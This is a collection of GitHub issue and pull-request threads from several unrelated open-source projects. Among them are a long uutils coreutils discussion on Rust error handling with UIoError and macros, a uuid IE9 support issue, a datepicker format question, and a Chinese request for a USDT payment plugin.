Lines are now drawn by a child node that we add on the selection. This enable to draw lines on to of everything by setting the OutlineDrawer's z index to 4096.
This will make easier to draw lines for tile creation, which will become less painfull with lines to know where to place the sprite.

Maybe we should create 2 new classes to make a different between the IsoContainers like maps and the IsoElement like Tiles and Placeholders.
Slope should only be for the elements.

I'm not sure we should add inheritance chain only for slopeType, what about just making it immutable in IsometricMap ?

According to discord discussion I made an IsometricElement subclass of IsometricPositionable for Tiles and Placeholders. IsometricMap no longer have slopeType.


text:
prove: Return delHashes in RemoveTargets()

The responsibility of removing the deleted hashes was on the caller
since RemoveTargets() would only remove the targets from the proof.
RemoveTargets() has enough information to also return the modified
delHashes so the function signature is changed to do so.

Pull Request Test Coverage Report for Build 2567952705

38 of 48 (79.17%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.1%) to 77.584%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

prove.go
38
48
79.17%

Totals

Change from base Build 2533735069:
0.1%

Covered Lines:
1509

Relevant Lines:
1945

💛  - Coveralls

authors: coveralls kcalvinalvin

repo: utreexo/utreexo


text:
Uint8Array is undefined in IE9

Describe the bug
when using UUID in IE9 it throws Error of "Uint8Array is undefined in IE9"
To Reproduce
Simply just import uuid in ie9
Expected behavior
A clear and concise description of what you expected to happen.
Runtime

UUID version: 8.2
OS: windows
Runtime: IE9
Runtime Version: 9

As stated in the readme we do not support IE < 11.
If you want to use this library with ancient browser versions you will have to provide your own polyfills.

And just out of curiosity: Do you seriously need to support IE9 or was this a joke? MS support for IE <= 10 ended
1/12/16 so using IE versions this old should be considered a security risk on its own.

Fair enough! It’s more a requirement from a client, I guess will try add a
poly fill myself thanks!
On Mon, 20 Jul 2020 at 6:51 pm, Christoph Tavan notifications@github.com
wrote:

And just out of curiosity: Do you seriously need to support IE9 or was
this a joke? MS support for IE <= 10 ended
1/12/16
https://www.microsoft.com/en-us/microsoft-365/windows/end-of-ie-support
so using IE versions this old should be considered a security risk on
its own.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/uuidjs/uuid/issues/483#issuecomment-660895257, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AAD2BHWCITDAQH56B3YACXDR4QARLANCNFSM4PCBJDDQ
.

--
发自移动版 Gmail

authors: ctavan neekey

repo: uuidjs/uuid


text:
more: path of next file should be shown at the end of a file

Take for instance more CONTRIBUTING.md LICENSE. At the end of CONTRIBUTING.md, the prompt should show:
--More--(Next file: LICENSE)

It currently shows:
--More--(100%)

Can I request another change? Instead of prefixing the content with
::::::::::::::
FILE
::::::::::::::

Just write something like Current file: FILE in the bottom prompt.
I was genuinely confused by the presence of the text at first, and its kinda annoying that it looks like the actual content. Plenty of resources have ASCII art at the top too.

authors: hbina tertsdiepraam

repo: uutils/coreutils


text:
install: Use UResult

Related to uutils#2464
I didn't actually check whether the error messages match what GNUs install gives, I merely took the existing ones. I hope I got the idea right, otherwise I'm open for suggestions.

Amazing! Great work with the custom error type!

I didn't actually check whether the error messages match what GNUs install gives, I merely took the existing ones.

That's good enough for now :)
I have two suggestions:

Some of the variants of the custom error are essentially io::Errors, requiring manual conversion from that to the custom error. You could use UIoError instead. Most of the time, you take a function that returns io::Result, say fs::metadata() and use map_err_context to turn it into a UResult, which you can then return:

fn md(path: Path) -> UResult<Metadata> {
    fs::metadata(path).map_err_context(|| format!("could not get metadata for {}", path))
}

See the docs for more information: https://docs.rs/uucore/0.0.9/uucore/error/struct.UIoError.html (let me know if you have any questions about this, I'd also love feedback on improving the docs). This will also give error messages that are more in line with GNU.
2. There's an opportunity to remove the all_successful variables by using the show! method. Docs are admittedly lacking a bit in this department, but there's the end of the usage section and the docs for set_exit_code and touch uses this technique as well (in uumain).

Some of the variants of the custom error are essentially io::Errors, requiring manual conversion from that to the custom error. You could use UIoError instead. Most of the time, you take a function that returns io::Result, say fs::metadata() and use map_err_context to turn it into a UResult, which you can then return:

I saw that while attempting to understand how the UError type works. What I particularly like about the custom error types is that all error messages are in one place for me to edit if the need arises.
But right now I can't think of a way how to mangle the regular std::io::Error into the UIoError (in an elegant way) such that I can use the Display-trait implementation that's already there. Hm...
Is this something that could be solved with a macro? I haven't worked with macros yet, so I'm quite unaware of their potential.

There's an opportunity to remove the all_successful variables by using the show! method. Docs are admittedly lacking a bit in this department, but there's the end of the usage section and the docs for set_exit_code and touch uses this technique as well (in uumain).

Oh right, I read about set_exit_code and asked myself while implementing "When would you need that when you have custom error types?". That of course makes a lot of sense. I'll update the code!

The code now makes use of show! for noncritical errors that don't cause immediate program abortion.
I'll be honest: the sheer wealth of different errors is pretty overwhelming, so I didn't do any "manual" tests to see whether I broke some error outputs. I'm entirely relying on the tests for this...

What I particularly like about the custom error types is that all error messages are in one place for me to edit if the need arises.

I understand. However, I've noticed that most IO errors need some context, like "could not get metadata for ...", which describes the operation that is being done in that part of the code. So I think it makes sense to put those descriptions where they occur.
I wonder if there is some change we can make to the API to get the best of both worlds.

But right now I can't think of a way how to mangle the regular std::io::Error into the UIoError (in an elegant way) such that I can use the Display-trait implementation that's already there.

I wouldn't prefer this over UIoError, but we could take that Display impl and split it off into a separate function that takes an io::ErrorKind which you could then reuse.

I understand. However, I've noticed that most IO errors need some context, like "could not get metadata for ...", which describes the operation that is being done in that part of the code. So I think it makes sense to put those descriptions where they occur.

Good point. But if multiple utils fail to get Metadata, isn't that a candidate for a CommonError then? Maybe one could "attach" (perhaps by means of another attribute that's a Option<std::io::Error>) an IoError to custom errors? That would allow us to construct custom errors like before using custom contexts, with the content of the IoError appended, right?
As far as I could gather that's pretty much exactly what the current implementation of UIoError does anyways.

You could look at the code coverage results to see if there are any untested errors and add them to the tests if possible. It's not necessary for this PR, though.

Is there a way I can run the coverage tests locally? It feels pretty "wrong" to abuse the CI pipeline for this sort of thing, especially as it isn't blazingly fast.

But if multiple utils fail to get Metadata, isn't that a candidate for a CommonError then?

Yes, although some are really specific to some utils.

Maybe one could "attach" (perhaps by means of another attribute that's a Optionstd::io::Error) an IoError to custom errors?

You already can to some extent. In the Display impl for the UCustomError, you could take the io::Error you passed to it, apply context to it and display that. This doesn't solve the boilerplate in the rest of the code though (still requires manual matching on the error and the construction of the custom error).

As a sidenote, feel free to experiment with changing some of the error things in uucore (maybe in a separate PR?). I definitely do not consider it finished yet and welcome any suggestions :)

Is there a way I can run the coverage tests locally? It feels pretty "wrong" to abuse the CI pipeline for this sort of thing, especially as it isn't blazingly fast.

You could run the coverage tests on your fork

I've been thinking about this some more and I think going with something simple is the best solution. That would be to simply provide a function for printing the IO error messages. Something like:
// This doesn't exist right now, but we can easily break it out of the UIoError Display impl
use uucore::error::io_error_message;

enum UtilError {
    SomeIOErrorWrapper(PathBuf, io::Error),
    // other variants
}

impl Display for UtilError {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        match self {
            UtilError::SomeIOErrorWrapper(file, e) => {
                write!(f, "some desciption {}: {}", file.display(), io_error_message(e))
            }
            // other variants
        }
    }
}

// Usage:
fs::metadata(&path).map_err(|e| UtilError::SomeIOErrorWrapper(path.into_path_buf(), e))

Any if we use a macro... ? Is that something a rust macro could do? Something like uio_error!(e), which then converts the std::io::Error from my code to a UIoError with an enmpty context. Then the call to write! would use the Display impl from the UIoError, right?

This kinda does the trick:
#[macro_export]
macro_rules! to_uioerr {
    ( $arg:expr ) => {
        UIoError::new(
            $arg.kind(), String::from("")
        )
    };
}

but the Display impl always prepends a ": " to the actual error message, which is a bit irritating. This would turn the following error variant:
            IE::InstallFailed(from, to, e) => write!(
                f,
                "cannot install '{}' to '{}': {}",
                from.display(),
                to.display(),
                e
            ),

into:
            IE::InstallFailed(from, to, e) => write!(
                f,
                "cannot install '{}' to '{}'{}",
                from.display(),
                to.display(),
                to_uioerr!(e)
            ),

which looks weird, because in the format string we now have "'{}'{}". :-(
Using the function approach we could have the function return only the error string, and then make the Display impl prepend the ": " to that, if desired.

Or we add this to the error module:
impl From<&std::io::Error> for UIoError {
    fn from(e: &std::io::Error) -> Self {
        UIoError {
            context: String::from(""),
            inner: std::io::Error::new(e.kind(), ""),
        }
    }
}

which allows us to write this:
            IE::InstallFailed(from, to, e) => write!(
                f,
                "cannot install '{}' to '{}': {}",
                from.display(),
                to.display(),
                UIoError::from(e)
            ),

I'm fine with either of these: The separate function, the macro or the From impl. The separate function sounds most reasonable as this allows us to easily handle the omission of ": " when used like discussed here.
But if we add that, it sounds as if it deserves its own PR. @tertsdiepraam Do you want to take care of this?

Very nice to see so many ideas! That really helps with exploring all possibilities. I think the macro doesn't really provide anything over a function, while also being a little bit harder to understand (because macros just in general are a little bit more complicated in my opinion).
Making the context optional is definitely an interesting idea. I wonder if there are other applications for context-less UIoErrors. I don't really have a strong preference for this or the function right now.
For reference to the entire discussion, I feel it makes sense to explicitly state the current situation, which isn't too bad I think. I may not be very intuitive though:
IE::InstallFailed(from, to, e) => {
    e.map_err_context(|| format!(
        "cannot install '{}' to '{}'",
        from.display(),
        to.display()
    )).fmt(f)
},

That's a pretty syntax, I didn't know that was an option!
Just 2 remarks by rust about that:

fmt here is ambiguous, it could be Debug::fmt or Display::fmt
this call would consume (move) e as std::io::Error doesn't implement the Copy trait:error[E0507]: cannot move out of `*e` which is behind a shared reference
   --> src/uu/install/src/install.rs:115:18
    |
115 |                 &e.map_err_context(|| format!(
    |                  ^ move occurs because `*e` has type `std::io::Error`, which does not implement the `Copy` trait

Now I have quite a lot of options I must say. I'd go with your last suggestions, @tertsdiepraam, but I'm unsure what to do about that second error. :-/

Ah my bad, should've let the compiler check that code. Can you get around that error by cloning e?

Don't worry.
I have now tried this code:
            IE::InstallFailed(from, to, e) => Display::fmt(
                &e.clone().map_err_context(|| format!(
                    "cannot install '{}' to '{}'",
                    from.display(),
                    to.display()
                )), f
            ),

which gives me this pretty error message:
error[E0507]: cannot move out of a shared reference
   --> src/uu/install/src/install.rs:115:18
    |
115 |                 &e.clone().map_err_context(|| format!(
    |                  ^^^^^^^^^ move occurs because value has type `std::io::Error`, which does not implement the `Copy` trait

And I can't make any sense of it. I know I'm moving it, that's exactly the point of the whole thing.

The error is indeed extremely weird. I think it's due to io:Error not implementing clone. Here's what I think is going on: the clone call acts on the reference, which makes a new reference and therefore doesn't solve the issue. This is because clone is implemented for all references and not for std::io::Error. You can work around this by constructing the UIoError from the ErrorKind instead, because that implements Copy:
IE::InstallFailed(from, to, e) => Display::fmt(
    &UIoError::new(
        e.kind(),
        format!("cannot install '{}' to '{}'", from.display(), to.display()),
    ),
    f,
),

You're right, that does the trick!
I understand that you're not particularly fond of macros, but something like this:
#[macro_export]
macro_rules! uioerror(
    ($err:expr, $($args:tt)+) => ({
        UIoError::new(
            $err.kind(),
            format!($($args)+)
        )
    })
);

allows us to turn this:
            IE::InstallFailed(from, to, e) => Display::fmt(
                &UIoError::new(
                    e.kind(),
                    format!("cannot install '{}' to '{}'", from.display(), to.display()
                )), f
            ),

into this:
            IE::InstallFailed(from, to, e) => Display::fmt(
                &uioerror!(e, "cannot install '{}' to '{}'", from.display(), to.display()), f
            ),

I'm fine with either implementation, but I'd be curious to hear some more opinions by others that have faced a similar situation already. I'll leave the decision on which implementation to use up to you. :-)

I like that macro! I've already been thinking about adding something like that for USimpleError and UUsageError and it makes a lot of sense here.

The changes are in, feedback is welcome!
Looking at the macros submodule I might spend some time on documenting all the macros in there next... We'll see.

Looks great! I'm just wondering where that macro should live. (In fact having a macro module feels off to me.) I think that it makes sense for discoverability to put it in the error module. Do you agree? (if you don't just say so and I'll merge it like this :) )
Side note: I love the effort you put in documentation in all your PR's. Absolutely fantastic work there!

Bikeshed: Not sure if this is only me, but uioerror looks a bit unreadable to me :sweat_smile:. Maybe it can just be io_error?

@tertsdiepraam This is good to go from my side. What do you think?

Fascinating. The CI is failing on a line of code that seemingly doesn't exist...

Hmm yeah, I'm not sure what that's about. Rerunning the CI doesn't help. I did find this snippet:
    let specified_mode: Option<u32> = if matches.is_present(OPT_MODE) {
        let x = matches.value_of(OPT_MODE).ok_or(1)?;
        Some(mode::parse(x, considering_dir).map_err(|err| {
            show_error!("Invalid mode string: {}", err);
            1
        })?)
    } else {
        None
    };

Which returns Err(1) I think, maybe that's what it's complaining about? Or something similar with backup_control?

Maybe you could merge master into this just to make some change that will rerun the CI?

Rebased onto master, now I see it, too.
Hold on. That means that Git implicitly rebases my branch onto master when running the CI stuff. Is this intentional?!

That means that Git implicitly rebases my branch onto master when running the CI stuff. Is this intentional?

I think so. In practice we don't really care whether a specific PR succeeds in the tests, but rather whether master succeeds when the PR is merged, so this makes sense (although it may lead to confusing situations)

That of course makes a lot of sense. :)
It's sad that the coverage is broken... but from my side this is done now.

I pinged grcov author yesterday and i have a meeting with him later today ;) I will bother him about that! cc @marco-c

Can't we just use a newer rust version for coverage? Currently it's set to nightly-2020-08-01, maybe we can change this to the latest stable release?

@Funky185540 could you please rebase it? it will trigger the code coverage. (i fixed it)

Rebased onto current master.


text:
seaflowpy_filter not accepting NA

seaflowpy_filter(db, cruise, evt.dir, opp.dir, process.count=4, notch1=NA, notch2=NA, width=0.5, offset=0)
seaflowpy_filter: error: argument --notch1: invalid float value: 'NA'

My bad, I should enter NULL and not NAs...

repo: uwescience/popcycle


text:
how to use format to YYYYMMDD?

Expected behaviour
I user datepicker by code:
$(".datepicker").datepicker({
autoclose: true,
clearBtn: true,
todayBtn: true,
format: "yyyy-mm-dd"
});
$(".datepicker").datepicker("update",'2011-11-11');
Actual behaviour
Where page is displayed,I saw datepicker's value is today
Datepicker version used
newset version
Example code
Jsfiddle example to reproduce the problem.

sorry
code is
format: "yyyymmdd"
$(".datepicker").datepicker("update",'20111111');

repo: uxsolutions/bootstrap-datepicker


text:
这个版本的彩虹易支付能否出个usdt 支付插件？

https://github.com/Blokura/Epay
这个版本的彩虹易支付能否出个usdt 支付插件？
谢谢

https://github.com/Blokura/Epay
这个版本的彩虹易支付能否出个usdt 支付插件？
谢谢

这个版本太老了，没有计划适配。

请问这个插件支持的是哪一版的彩虹易支付，我目前使用的 插件里导入后不显示 ，貌似还需要一个config.ini这个文件。

我现在也是这个问题，请问你的解决了吗

请问这个插件支持的是哪一版的彩虹易支付，我目前使用的插件里导入后不显示，貌似还需要一个config.ini这个文件。

你弄好了没？